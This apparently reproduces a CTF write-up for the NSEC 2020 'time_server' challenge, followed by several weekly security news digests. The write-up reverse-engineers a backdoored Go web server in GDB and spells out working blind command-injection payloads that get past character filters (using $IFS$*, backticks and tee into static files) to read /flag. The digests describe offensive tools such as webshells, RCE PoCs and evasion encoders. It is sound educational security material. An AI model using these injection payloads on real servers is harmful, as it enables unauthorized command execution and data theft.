RBP: 0xc000043b40 --> 0xc000043b80 --> 0xc000043ba8 --> 0xc000043c08 --> 0xc000043c38 --> 0xc000043fb8 (--> ...)
RSP: 0xc000043b18 --> 0xc0000ea400 --> 0xc000206e00 ("GET /?mlaasdkfasldkfm HTTP/1.1")
RIP: 0x7631c6 (<main.e+102>:    cmp    QWORD PTR [rbx+0x18],rax)
R8 : 0x1 
R9 : 0x0 
R10: 0x8b5768 --> 0x807060504030201 
R11: 0x1 
R12: 0xffffffffffffffff 
R13: 0x83 
R14: 0x82 
R15: 0x200
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
   0x7631bc <main.e+92>:        cmp    rdx,0x1
   0x7631c0 <main.e+96>:        jbe    0x76320c <main.e+172>
   0x7631c2 <main.e+98>:        mov    rdx,QWORD PTR [rbx+0x10]
=> 0x7631c6 <main.e+102>:       cmp    QWORD PTR [rbx+0x18],rax
   0x7631ca <main.e+106>:       je     0x7631d6 <main.e+118>
   0x7631cc <main.e+108>:       mov    rbp,QWORD PTR [rsp+0x28]
   0x7631d1 <main.e+113>:       add    rsp,0x30
   0x7631d5 <main.e+117>:       ret
0000| 0xc000043b18 --> 0xc0000ea400 --> 0xc000206e00 ("GET /?mlaasdkfasldkfm HTTP/1.1")
0008| 0xc000043b20 --> 0x83c2c4 ("mlaasdkfasldkfmms: gomaxprocs=negative offsetnegative updatenetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;num_symbols: 1\nrecor"...)
0016| 0xc000043b28 --> 0xf 
0024| 0xc000043b30 --> 0x0 
0032| 0xc000043b38 --> 0x0 
0040| 0xc000043b40 --> 0xc000043b80 --> 0xc000043ba8 --> 0xc000043c08 --> 0xc000043c38 --> 0xc000043fb8 (--> ...)
0048| 0xc000043b48 --> 0x7635ed (<main.root.func1+61>:  mov    rax,QWORD PTR [rsp+0x20])
0056| 0xc000043b50 --> 0xc0000ea400 --> 0xc000206e00 ("GET /?mlaasdkfasldkfm HTTP/1.1")
Legend: code, data, rodata, value
0x00000000007631c6      22      in /app/main.go
gdb-peda$ x/1x $rbx+0x18
0xc00000e0b8:   0x0000000000000007

The comparison is between $rbx+0x18 which is 7 and RAX which is 4, so we fail this check. How are the 7 and 4 being set? Looking at the values we control, testarg is 7 characters and test from the curl command is 4 characters. Seems like a safe bet these need to be equal in order to pass this check. In GDB we continue (c) to let the request finish, then fire another curl in the second terminal.

curl -v

Back in GDB we see:

RAX: 0x7 
   0x7631bc <main.e+92>:        cmp    rdx,0x1
   0x7631c0 <main.e+96>:        jbe    0x76320c <main.e+172>
   0x7631c2 <main.e+98>:        mov    rdx,QWORD PTR [rbx+0x10]
=> 0x7631c6 <main.e+102>:       cmp    QWORD PTR [rbx+0x18],rax
   0x7631ca <main.e+106>:       je     0x7631d6 <main.e+118>
Thread 1 "time_server" hit Breakpoint 5, 0x00000000007631c6 in main.e (r=0xc0000ca100) at /app/main.go:22
22      in /app/main.go
gdb-peda$ x/1x $rbx+0x18
0xc00000e0b8:   0x0000000000000007

Bingo, another check passed. Let's keep going by setting a breakpoint on the call to runtime.memequal.

gdb-peda$ b *0x00000000007631e4
Breakpoint 6 at 0x7631df: file /app/main.go, line 22.
gdb-peda$ c
RAX: 0x7 
RBX: 0xc00000e0a0 --> 0x7fffffffe53d ("/time_server")
RCX: 0xc00001c136 ("testarg HTTP/1.1")
RDX: 0x7fffffffe54a --> 0x67726174736574 ('testarg')
   0x7631d6 <main.e+118>:       mov    QWORD PTR [rsp],rcx
   0x7631da <main.e+122>:       mov    QWORD PTR [rsp+0x8],rdx
   0x7631df <main.e+127>:       mov    QWORD PTR [rsp+0x10],rax
=> 0x7631e4 <main.e+132>:       call   0x402dc0 <runtime.memequal>
   0x7631e9 <main.e+137>:       cmp    BYTE PTR [rsp+0x18],0x0
   0x7631ee <main.e+142>:       je     0x7631cc <main.e+108>
   0x7631f0 <main.e+144>:       mov    rax,QWORD PTR [rsp+0x38]
   0x7631f5 <main.e+149>:       mov    rcx,QWORD PTR [rax+0x8]
No argument
0000| 0xc0000d7b18 --> 0xc00001c136 ("testarg HTTP/1.1")
0008| 0xc0000d7b20 --> 0x7fffffffe54a --> 0x67726174736574 ('testarg')
0016| 0xc0000d7b28 --> 0x7 

Looking at the stack we can make a safe bet that this is comparing the value of the FormValue with the first argument to time_server for 7 characters. Since they are equal, we should pass this check and finally get to our backdoor in main.rr. Let's set a breakpoint and find out.

gdb-peda$ l main.rr
7       in /app/main.go
gdb-peda$ b main.rr
Breakpoint 8 at 0x762fe0: file /app/main.go, line 12.
gdb-peda$ c
Thread 1 "time_server" hit Breakpoint 6, main.rr (s=...) at /app/main.go:12
12      in /app/main.go

Excellent, we have successfully reached the backdoor code. What does it actually do? We saw in the static analysis a call to runtime_concatstring2 with the string echo (with the space) and then a call to os_exec_Command with the string bash involved. If we let the code run, we should see something echoed to the gdb terminal.

gdb-peda$ c
[Detaching after vfork from child process 37627]

GET!?! That is not what I expected. The only place we have GET is in the HTTP request. It appears the backdoor will echo the HTTP verb if the form values are set correctly. Let's validate our hypothesis by sending a POST instead of a GET.

curl -v -X POST
$ gdb ./time_server 
gdb-peda$ r testarg
Starting program: ./time_server testarg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff5b6d700 (LWP 37657)]
[New Thread 0x7ffff536c700 (LWP 37658)]
[New Thread 0x7ffff4b6b700 (LWP 37659)]
[New Thread 0x7fffeffff700 (LWP 37660)]
[New Thread 0x7fffef7fe700 (LWP 37661)]
[New Thread 0x7fffeeffd700 (LWP 37662)]
[Detaching after vfork from child process 37665]

Confirmed. What we have so far is a few checks and then an echo of the HTTP verb from the request. Somehow, we need to use this to get a flag from the server. Let's review the checks first:

  1. Is the a form key of mlaasdkfasldkfm?
  2. Is there at least one argument to the server?
  3. Does the argument length equal the length of the value with the key mlaasdkfasldkfm?
  4. Does the argument match the value of the form with key mlaasdkfasldkfm?

If those 4 checks are passed, then we run bash -c echo [HTTP verb from request]. At this point we have two issues:

  1. What is the argument to the server binary on the challenge server?
  2. How do you read a flag value using only HTTP verb values?


First, we need to get the argument on the running challenge server. At this point one of my teammates posted in our chat:

chat: http://time-server.ctf:8080/debug/pprof/etc/services doesn't 404

He was using Ghidra, and when I posted the mlaasdkfasldkfm string in chat he searched for it.

ghidra search

Right clicking and copying the value in "String view" gives you a very large string that contains "/debug/pprof//etc/services" near the top.

pprof string

Browsing to http://time-server.ctf:8080/debug/pprof shows an interesting page. pprof is a Go standard library tool for profiling.


The "cmdline" link looks especially interesting. What does it hold?


Awesome! One issue solved.


Now for how to read a flag from a server using an HTTP verb (or something that the server things is an HTTP verb) and bash. We know our verb is being passed to bash, so ideally we just send ;cat flag and get the flag. Remember however, that the echo is local to the server which makes our command injection blind. We'll have to figure out a way to get the output of the command, but first, what commands can we run? For this I just threw every character one at a time as the HTTP verb noting which characters caused the challenge to return a 400 Bad Request.

$ curl -v -X ':'
*   Trying
* Connected to ( port 8080 (#0)
> : /?mlaasdkfasldkfm=testarg HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Content-Type: text/plain; charset=utf-8
< Connection: close
* Closing connection 0
400 Bad Request

After testing, I had the following list: ={}[]<>():;"\/ (a space is the last character in that list). That's pretty restrictive, as most everything we would want to do in bash would involve a slash and a space.

As a CTF participant and security researcher I've escaped my way out of a fair number of character restricted command injections, but this one really upped the difficulty. A common trick to get around space restriction is with input/output redirection (< and >) but those are restricted as well. ${IFS} is another favorite, but curly braces are restricted. We better hope the flag is in the current directory as / is restricted.

throwing a wrench

Footage of @becojo (the challenge designer) and me working on the challenge. I'm in the green shirt.

We do have some key characters available, specifically &, |, and `.

Let's take stock of our current status:

  1. We have no way of seeing the output of the command as it is local to the server
  2. We can pass arbitrary strings to bash -c echo with lots of restrictions

We know we are working with a webserver, and it's a safe bet to guess it is serving static files from somewhere. This could be the same directory as the time_server binary, or perhaps /var/www/html. If you've cloned the repository where this writeup lives you have the answer already, but assume you don't know. We have the binary, let's work through how to figure it out. We notice that running ./time_server locally fails to return any HTML and panics.

$ ./time_server 
2020/05/19 15:50:42 http: panic serving runtime error: index out of range [1] with length 1
goroutine 34 [running]:
        /usr/local/go/src/net/http/server.go:1767 +0x139
panic(0x806b60, 0xc0000fa060)
        /usr/local/go/src/runtime/panic.go:679 +0x1b2
        /app/main.go:22 +0xb9
main.root.func1(0x8c89e0, 0xc0001060e0, 0xc00013e000)
        /app/main.go:29 +0x3d
net/http.HandlerFunc.ServeHTTP(0xc0000f60c0, 0x8c89e0, 0xc0001060e0, 0xc00013e000)
        /usr/local/go/src/net/http/server.go:2007 +0x44
net/http.(*ServeMux).ServeHTTP(0xb5e260, 0x8c89e0, 0xc0001060e0, 0xc00013e000)
        /usr/local/go/src/net/http/server.go:2387 +0x1bd
net/http.serverHandler.ServeHTTP(0xc000106000, 0x8c89e0, 0xc0001060e0, 0xc00013e000)
        /usr/local/go/src/net/http/server.go:2802 +0xa4
net/http.(*conn).serve(0xc00011e000, 0x8c9320, 0xc0000781c0)
        /usr/local/go/src/net/http/server.go:1890 +0x875
created by net/http.(*Server).Serve
        /usr/local/go/src/net/http/server.go:2928 +0x384

Let's look at main.main where the errors originate in GDB.

$ gdb ./time_server 
gdb-peda$ l main.main
35      /app/main.go: No such file or directory.
gdb-peda$ disas main.main
Dump of assembler code for function main.main:
   0x00000000007633d0 <+0>:     mov    rcx,QWORD PTR fs:0xfffffffffffffff8
   0x00000000007633d9 <+9>:     cmp    rsp,QWORD PTR [rcx+0x10]
   0x00000000007633dd <+13>:    jbe    0x76359b <main.main+459>
   0x00000000007633e3 <+19>:    sub    rsp,0x60
   0x00000000007633e7 <+23>:    mov    QWORD PTR [rsp+0x58],rbp
   0x00000000007633ec <+28>:    lea    rbp,[rsp+0x58]
   0x00000000007633f1 <+33>:    lea    rax,[rip+0x6fe08]        # 0x7d3200
   0x00000000007633f8 <+40>:    mov    QWORD PTR [rsp],rax
   0x00000000007633fc <+44>:    call   0x40e370 <runtime.newobject>
   0x0000000000763401 <+49>:    mov    rax,QWORD PTR [rsp+0x8]
   0x0000000000763406 <+54>:    mov    QWORD PTR [rsp+0x40],rax
   0x000000000076340b <+59>:    lea    rcx,[rip+0x15f88e]        # 0x8c2ca0 <go.itab.net/http.Dir,net/http.FileSystem>
   0x0000000000763412 <+66>:    mov    QWORD PTR [rax],rcx
   0x0000000000763415 <+69>:    lea    rcx,[rip+0x156504]        # 0x8b9920
   0x000000000076341c <+76>:    mov    QWORD PTR [rax+0x8],rcx

That http.FileSystem looks interesting. Set a breakpoint on it and continue.

gdb-peda$ b *0x000000000076340b
Breakpoint 1 at 0x76340b: file /usr/local/go/src/net/http/fs.go, line 716.
gdb-peda$ r testarg
Starting program: /mnt/hgfs/nsec/time/time_server testarg
RAX: 0xc0000fa0f0 --> 0x0 
RBX: 0x0 
RCX: 0x7ffff7d8f6d0 --> 0x79055 
RDX: 0x79055 
RSI: 0x10 
RDI: 0x10 
RBP: 0xc000101f50 --> 0xc000101f58 --> 0x4321be (<runtime.main+542>:    mov    eax,DWORD PTR [rip+0x74895c]        # 0xb7ab20 <runtime.runningPanicDefers>)
RSP: 0xc000101ef8 --> 0x7d3200 --> 0x10 
RIP: 0x76340b (<main.main+59>:  lea    rcx,[rip+0x15f88e]        # 0x8c2ca0 <go.itab.net/http.Dir,net/http.FileSystem>)
R8 : 0x12 
R9 : 0x12 
R10: 0x8b5769 --> 0x908070605040302 
R11: 0x1 
R12: 0xffffffffffffffff 
R13: 0x10 
R14: 0xf 
R15: 0x200
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
   0x7633fc <main.main+44>:     call   0x40e370 <runtime.newobject>
   0x763401 <main.main+49>:     mov    rax,QWORD PTR [rsp+0x8]
   0x763406 <main.main+54>:     mov    QWORD PTR [rsp+0x40],rax
=> 0x76340b <main.main+59>:     lea    rcx,[rip+0x15f88e]        # 0x8c2ca0 <go.itab.net/http.Dir,net/http.FileSystem>
   0x763412 <main.main+66>:     mov    QWORD PTR [rax],rcx
   0x763415 <main.main+69>:     lea    rcx,[rip+0x156504]        # 0x8b9920
   0x76341c <main.main+76>:     mov    QWORD PTR [rax+0x8],rcx
   0x763420 <main.main+80>:     nop
0000| 0xc000101ef8 --> 0x7d3200 --> 0x10 
0008| 0xc000101f00 --> 0xc0000fa0f0 --> 0x0 
0016| 0xc000101f08 --> 0xc000000180 --> 0xc000100000 --> 0xc000102000 --> 0x0 
0024| 0xc000101f10 --> 0xc000101f50 --> 0xc000101f58 --> 0x4321be (<runtime.main+542>:  mov    eax,DWORD PTR [rip+0x74895c]        # 0xb7ab20 <runtime.runningPanicDefers>)
0032| 0xc000101f18 --> 0x40714f (<runtime.closechan+479>:       jmp    0x40716e <runtime.closechan+510>)
0040| 0xc000101f20 --> 0xc000086058 --> 0x0 
0048| 0xc000101f28 --> 0x0 
0056| 0xc000101f30 --> 0x0 

Hmm nothing obvious yet. Step forward a few instructions.

gdb-peda$ ni # a few of these
RAX: 0xc0000fa0f0 --> 0x8c2ca0 --> 0x7cc380 --> 0x10 
RBX: 0x0 
RCX: 0x8b9920 --> 0x8383c4 ("static/stoppedsubdot;subset;subsim;subsub;subsup;succeq;supdot;supset;supsim;supsub;supsup;swarhk;swnwar;syscalltarget;tcaron;tcedil;telrec;there4;thetav;thinsp;thksim;timesb;timesd;topbot;topcir;tpri"...)
RDX: 0x79055 
RSI: 0x10 
RDI: 0x10 
RBP: 0xc000101f50 --> 0xc000101f58 --> 0x4321be (<runtime.main+542>:    mov    eax,DWORD PTR [rip+0x74895c]        # 0xb7ab20 <runtime.runningPanicDefers>)
RSP: 0xc000101ef8 --> 0x7d3200 --> 0x10 
RIP: 0x76341c (<main.main+76>:  mov    QWORD PTR [rax+0x8],rcx)
R8 : 0x12 
R9 : 0x12 
R10: 0x8b5769 --> 0x908070605040302 
R11: 0x1 
R12: 0xffffffffffffffff 
R13: 0x10 
R14: 0xf 
R15: 0x200
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
   0x76340b <main.main+59>:     lea    rcx,[rip+0x15f88e]        # 0x8c2ca0 <go.itab.net/http.Dir,net/http.FileSystem>
   0x763412 <main.main+66>:     mov    QWORD PTR [rax],rcx
   0x763415 <main.main+69>:     lea    rcx,[rip+0x156504]        # 0x8b9920
=> 0x76341c <main.main+76>:     mov    QWORD PTR [rax+0x8],rcx
   0x763420 <main.main+80>:     nop
   0x763421 <main.main+81>:     mov    rcx,QWORD PTR [rip+0x3ea038]        # 0xb4d460 <net/http.DefaultServeMux>
   0x763428 <main.main+88>:     mov    QWORD PTR [rsp],rcx
   0x76342c <main.main+92>:     lea    rcx,[rip+0xd6596]        # 0x8399c9
0000| 0xc000101ef8 --> 0x7d3200 --> 0x10 
0008| 0xc000101f00 --> 0xc0000fa0f0 --> 0x8c2ca0 --> 0x7cc380 --> 0x10 
0016| 0xc000101f08 --> 0xc000000180 --> 0xc000100000 --> 0xc000102000 --> 0x0 
0024| 0xc000101f10 --> 0xc000101f50 --> 0xc000101f58 --> 0x4321be (<runtime.main+542>:  mov    eax,DWORD PTR [rip+0x74895c]        # 0xb7ab20 <runtime.runningPanicDefers>)
0032| 0xc000101f18 --> 0x40714f (<runtime.closechan+479>:       jmp    0x40716e <runtime.closechan+510>)
0040| 0xc000101f20 --> 0xc000086058 --> 0x0 
0048| 0xc000101f28 --> 0x0 
0056| 0xc000101f30 --> 0x0 
Legend: code, data, rodata, value
0x000000000076341c      716     // "index.html".

Look at the string in RCX: static/. That's where the static files must be loaded from. We know that script.js and styles.css exist since they are loaded when we browse to / on the challenge server, so if we overwrite either of those and browse to them, we should get our command output!

At this point, my team and I tried many, many different Bash tricks to get command output locally. A breakthrough came when one teammate suggested using $* to separate $IFS from the next string. This allowed us to create spaces. I was excited. We had a clear path to the flag, and we just needed to locate and cat it. I ran the following expectantly:

$ curl time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \ 
-X '&&cd$IFS$*static&&find$IFS..|tee$IFS$*styles.css' >/dev/null`
$ curl time-server.ctf:8080/styles.css


Among the clutter of our output files, there was no flag. Fine, I'll just run find on the whole filesystem and grep the output. However, we can't use slashes, so find / is impossible. Here we could have cd .. a few times to get to / and then run find . but I was focused on using a slash. After a bunch more failed attempts I had this

$ # The command is: echo && cd static && ls -dF | tr -d . | tee styles.css
$ curl time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \
-X '&&cd$IFS$*static&&ls$IFS-dF|tr$IFS-d$IFS$*.|tee$IFS$*styles.css' >/dev/null

$ curl time-server.ctf:8080/styles.css

Great, now I can save a / character to a file and then cat that file to use / in the command.

$ curl time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \
-X '&&cd$IFS$*static&&ls$IFS-dF|tr$IFS-d$IFS$*.|tee$IFS$*slash' >/dev/null

$ # The command is: echo && cd static && find / | tee style.css
$ curl time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \
-X '&&cd$IFS$*static&&find$IFS$*`cat$IFS$*slash`|tee$IFS$*styles.css' >/dev/null

$ # A suspiciously long time later, the curl returns
$ wget time-server.ctf:8080/styles.css

styles.css was 64MB of find output. Undeterred, I was so close to the flag the size didn't slow me down.

$ grep -i flag styles.css 

oh come on

No flag. Impossible. There had to be a flag. I asked the organizers to check our VM. The flag was there they said. Frantic, I used my newfound slash abilities to ls /. In retrospect, the find likely timeout and was killed by time_server before it could list /flag.

$ # The command is: echo && cd static && ls / | tee styles.css
$ curl -v time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \
-X '&&cd$IFS$*static&&ls$IFS$*`cat$IFS$*slash`|tee$IFS$*styles.css' >/dev/null

$ curl time-server.ctf:8080/styles.css

$ # The command is: echo && cd static && cat /flag | tee styles.css
$ curl -v time-server.ctf:8080/?mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a \
-X '&&cd$IFS$*static&&cat$IFS$*`cat$IFS$*slash`flag|tee$IFS$*styles.css' 

$ curl time-server.ctf:8080/styles.css


I am positive there were simpler ways to solve this challenge, but no one can take away the feeling of finally getting a challenge after struggling for hours.

NSEC 2020 was a ton of fun, and we'll be back next year.

Last Week in Security (LWiS) - 2020-05-25

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-05-18 to 2020-05-25. MITRE ATT&CK techniques are in brackets where appropriate.


  • Privacy News
    • Why is This Website Port Scanning me? Websockets are being used for "anti-fraud" scans of website user's local machines. The theory is that if a user is running a VNC or other remove desktop server, they may be part of a botnet/click farm operation I suppose. If you are a developer this could be especially dangerous. In Firefox, setting network.websocket.max-connections to 0 will disable websockets, but lots of modern web applications rely on them.
    • Abusing WebRTC to Reveal Coarse Location Data in Signal abused WebRTC on both iOS and Android in order to reveal the user's ENDS client subnet, which could reveal a rough location (~400 mile radius). The bug has been patched in the latest version of Signal.
  • macOS 10.15 Catalina notarization news
    • Catalina is checking notarization of unsigned executables started the firestorm, bringing to light that macOS sends the hash of every executable not whitelisted in System Preferences as a "Developer Tool" to Apple.
    • How my application ran away and called home from Redmond is an example of arguably more invasive behavior on Windows. Additionally, "SmartScreen" also profiles and reports "usual" executions to Microsoft.
    • This effectively gives Apple a list of binaries being run by every user, without a way to disable it (besides going fully offline).
    • Inside the NSA’s Secret Tool for Mapping Your Social Network shows the power of massive metadata collection, and its ability for misuse. Perhaps tomorrow Apple receives a request for all users that have run the Tor browser in your country.
    • A happy medium would be to push a bloom filter of known hashes to end users and perform local lookups, only sending hashes that don't hit the bloom filter to Apple for further analysis. This is what Google Chrome does for phishing site lookups (until Enhanced Safe Browsing Protection is enabled). Users should also be given the ability to opt out of such features.
  • New DNS Vulnerability Lets Attackers Launch Large-Scale DDoS Attacks With up to 1000x traffic amplification, this will likely see exploitation soon. If you are responsible for DNS severs, patch them quickly.
  • GitLab 13.0 released with many new changes. The biggest for most users will likely be the new "Deploy to Amazon ECS" that makes AWS a first class citizen for deployments and monitoring on par with previously supported Google Cloud.
  • Enhanced Safe Browsing Protection now available in Chrome will check uncommon URLs in real time. Phishing against Chrome users just got harder.
  • Jailbreak for iOS 11.0-13.5 for all iOS devices released. After a few tough iOS releases, the jailbreaking scene is back in full force. First checkra1n, and now a fast, reliable jailbreak for every iOS device on the latest, signed version. Hats off to the hackers that have kept pushing Apple despite new security additions to iOS (i.e. Pointer Authentication). Why release this 0day now? Perhaps the iOS 14 leak gave the jailbreak developers enough insight to see that it was patched. Add build.frida.re to your cydia repo list and start hacking those iOS apps! [T1068 Exploitation for Privilege Escalation]


Tools and Exploits

  • ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection using TLS certificate with elliptical curve cryptography. Think of it as Meterpreter with Autoroute + Socks4a, but more stable and faster. This can be used stand-alone or incorporated into an in-house Go tool. [TA0008 Lateral Movement]
  • njsscan is a semantic aware SAST tool that can find insecure code patterns in your Node.js applications.
  • axiom is a set of utilities for managing a small dynamic infrastructure setup for bug bounty and pentesting. If you are a Digital Ocean user and want an easy way to spin up red teaming or bug bounty infrastructure, this may be the tool for you.
  • Cisco AnyConnect < 4.8.02042 privilege escalation through path traversal. It wouldn't be last week in security without a Windows local privilege escalation. This standalone C# exploit uses DLL hijacking with vpndownloader.exe, the update binary for Cisco AnyConnect. I suspect this particular exploit will be useful for many months as enterprises are slow to update their VPN clients. [T1068 Exploitation for Privilege Escalation]
  • WerTrigger is a powerful new primitive to weaponize file write exploits. Prior to Windows 10 1909 there was the DiagHub DLL loading primitive, but since then we have only had UsoDllLoader. Now there is another option, and when the next file write exploit is found that allows unprivileged users to write files to C:WindowsSystem32, WerTrigger will be there to pop the SYSTEM shell. [T1068 Exploitation for Privilege Escalation]
  • XLMMacroDeobfuscator can be used to decode obfuscated XLM macros (also known as Excel 4.0 macros). It utilizes an internal XLM emulator to interpret the macros, without fully running the code. [T1066 Indicator Removal from Tools]
  • shotlooter is a recon tool that finds sensitive data inside the screenshots uploaded to prnt.sc.
  • petaqc2 is a .NET Core/Framework RAT that uses websockets as Command & Control (C2) channels. It's designed to provide a Proof of Concept (PoC) websocket malware to the adversary simulation exercises (Red & Purple Team exercises).
  • quickreg is an experimental search engine for developers. It searches a curated subset of the web: official docs and community-driven sources. No JS, cookies, tracking, external requests or data collecting.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • guardedbox Online client-side manager for secure storage and secrets sharing. This could be useful for sharing scope lists, reports, or other sensitive information with clients that don't use PGP or are unable to use your encrypted email solution.
  • jaeles is a powerful, flexible, and easily extensible framework written in Go for building your own Web Application Scanner.
  • maddy is a composable all-in-one mail server. If you have ever spent half a day setting up a phishing mail server by hand, the short setup docs for maddy should get you excited. Two commands (and DNS setup) and you have DKIM, SPF, DMARC, MTA-STS, DANE, and STARTTLS Everywhere.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-06-01

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-05-25 to 2020-06-01. MITRE ATT&CK techniques are in brackets where appropriate.


  • Israeli cyber chief: Major attack on water systems thwarted. A cyber attack was reportedly detected and thwarted in real time and had it not be chlorine or other chemicals could have been mixed into the water source in the wrong proportions and resulted in a β€œharmful and disastrous” outcome. Israel's national cyber chief said, β€œCyber winter is coming and coming even faster than I suspected. We are just seeing the beginning.”
  • Return of the iOS sandbox escape: lightspeed's back in the race!! Synacktiv describes the old-but-new XNU bug that was re-introduced in iOS 13 and was the basis for last week's iOS 0day based jailbreak. [T1068 Exploitation for Privilege Escalation]
  • Zero-day in Sign in with Apple Speaking of Apple's mistakes, this one is quite bad. When requesting a JSON web token during the "Sign in with Apple" process, swapping the email for another user would return a valid JWT that can authenticate to the 3rd party service. This is the equivalent to editing a cookie from "user" to "admin" and getting the admin page. How this got through internal testing and into production is beyond me. [T1078 Valid Accounts]
  • LadderLeak: Breaking ECDSA With Less Than One Bit Of Nonce Leakage describes how a novel side-channel vulnerability can lead to leaking the most significant bit of the nonce and eventually breaking ECDSA, including NIST curves like P-192 (P-256 is vulnerable in theory). Curve25519 contains a countermeasure against this attack, but, "its exact efficacy against side-channel attacks in [this] context is not entirely clear."
  • Releasing the CAPTCHA Cracken. Despite the name there is no tool release, but F-Secure Labs shows off its ability to automate the CAPTCHA in use with the Office 265 Outlook Web Application, allowing its red team to attempt password stuffing. If you solely rely on CAPTCHA to stop bots/automated tools, it's time to rethink your strategy. Demo here.


Tools and Exploits

  • httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.
  • Seatbelt, while technically not a new tool got a huge rewrite. Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. [T1082 System Information Discovery]
  • BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack. [T1040 Network Sniffing]
  • angry_gadget - This tool is written in python and uses angr to test constraints for gadgets executing execve('/bin/sh', NULL, NULL). If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
  • ezEmu enables users to test adversary behaviors via various execution techniques. Sort of like an "offensive framework for blue teamers", ezEmu does not have any networking/C2 capabilities and rather focuses on creating local test telemetry. Use this (or atomic-red-team) to test your SEIM, EDR, or SOC response.
  • EXCELntDonut is a XLM (Excel 4.0) macro generator. Start with C# source code (DLL or EXE) and end with a XLM (Excel 4.0) macro that will execute your code in memory. XLM (Excel 4.0) macros can be saved in .XLS files. [T1193 Spearphishing Attachment]
  • sgn Shikata ga nai encoder ported into go with several improvements including 64 bit support, smaller decoder stub, no visible loop condition, decoder stub obfuscation, and safe register option. Build this into your in house packer for better obfuscation. [T1066 Indicator Removal from Tools]
  • Corporate_Masks are 8-14 character Hashcat masks based on analysis of 1.5 million NTLM hashes cracked while pentesting. [T1078 Valid Accounts]
  • AMSITrigger will identify all of the malicious strings in a powershell file, by repeatedly making calls to AMSI using AMSIScanBuffer, line by line. On receiving an AMSI_RESULT_DETECTED response code, the line will then be scrutinised to identify the individual triggers. [T1066 Indicator Removal from Tools]

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-06-08

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-06-01 to 2020-06-08. No MITRE ATT&CK techniques are in brackets this week, too much content!



Tools and Exploits

  • epic_shell is a new PHP webshell with encryption that shows a decoy 404 page for anyone browsing it without the proper key. shell_exec is required for proper functionality.
  • SMBGhost_RCE_PoC is the remote version of the LPE released a few months ago that works against Windows 10 1903 (SMBv3 compression). Full technical writeup here.
  • CVE-2020-3956 is a proof of concept exploit for a VMware Cloud Director remote code execution vulnerability. Full writeup here, demo here.
  • Covenant v0.5 is not a new tool but this update includes a new cross platform .Net-Core implant: Brutes.
  • shad0w is a post exploitation framework designed to operate covertly on heavily monitored environments from @_batsec_ and is written in C, uses syscalls, blocks userland API hooking, and can load basically anything (.Net, DLL, EXE, VBS, JS, XSL) into memory. Code here.
  • kerbrute is a script to perform kerberos bruteforcing by using impacket.
  • HawkEye is a malware dynamic instrumentation tool based on frida.re framework. It will hook common functions to log malware activities and output the results in a nice web page report. Use it in your sandbox to get nice HTML reports. Demo here.
  • SharpCollection is a repository of nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines. Great use of CI to keep tools fresh and built for different framework versions.
  • SwiftBelt is a macOS enumerator inspired by @harmj0y's Windows-based Seatbelt enumeration tool. SwiftBelt does not utilize any command line utilities and instead uses Swift code (leveraging the Cocoa Framework, Foundation libraries, OSAKit libraries, etc.) to perform system enumeration. This can be leveraged on the offensive side to perform enumeration once you gain access to a macOS host. I

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • Sudomy is a subdomain enumeration tool, created using a bash script, to analyze domains and collect subdomains in fast and comprehensive way. This one is fairly new (30 days) so it must have slipped by, but looks to have very good results for a one shot subdomain enumeration tool. Give it a try on your next assessment or bug bounty.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-06-15

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-06-08 to 2020-06-15. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

  • penglab - Abuse of Google Colab for fun and profit. Google Colab is a free cloud service based on Jupyter Notebooks for machine-learning education and research. It provides a runtime fully configured for deep learning and free-of-charge access to a robust GPU. I'm surprised it took this long to get abused.

  • Windows Local Privilege Escalation [T1068 Exploitation for Privilege Escalation]

    • Windows: Insecure CSharedStream Object EoP The great @tiraniddo develops his 8 month old "Won't Fix" Windows local privilege escalation bug into a full blown normal user to SYSTEM PoC. Expect to see this weaponized and in use in by next week and have a long shelf life.
    • VirtToPhys is a small PoC to demonstrate how you can calculate the physical address for a kernel virtual address when exploiting driver bugs that allow you to map physical memory. VirtToPhys uses MsIo.sys, a WHQL signed driver that gives you colorful lights on your RAM (yes, seriously), CVE-2019-18845.
    • SuRestore.cpp - If you find yourself in the Backup Operators group, this little gem based on older research may be able to get you a SYSTEM shell.
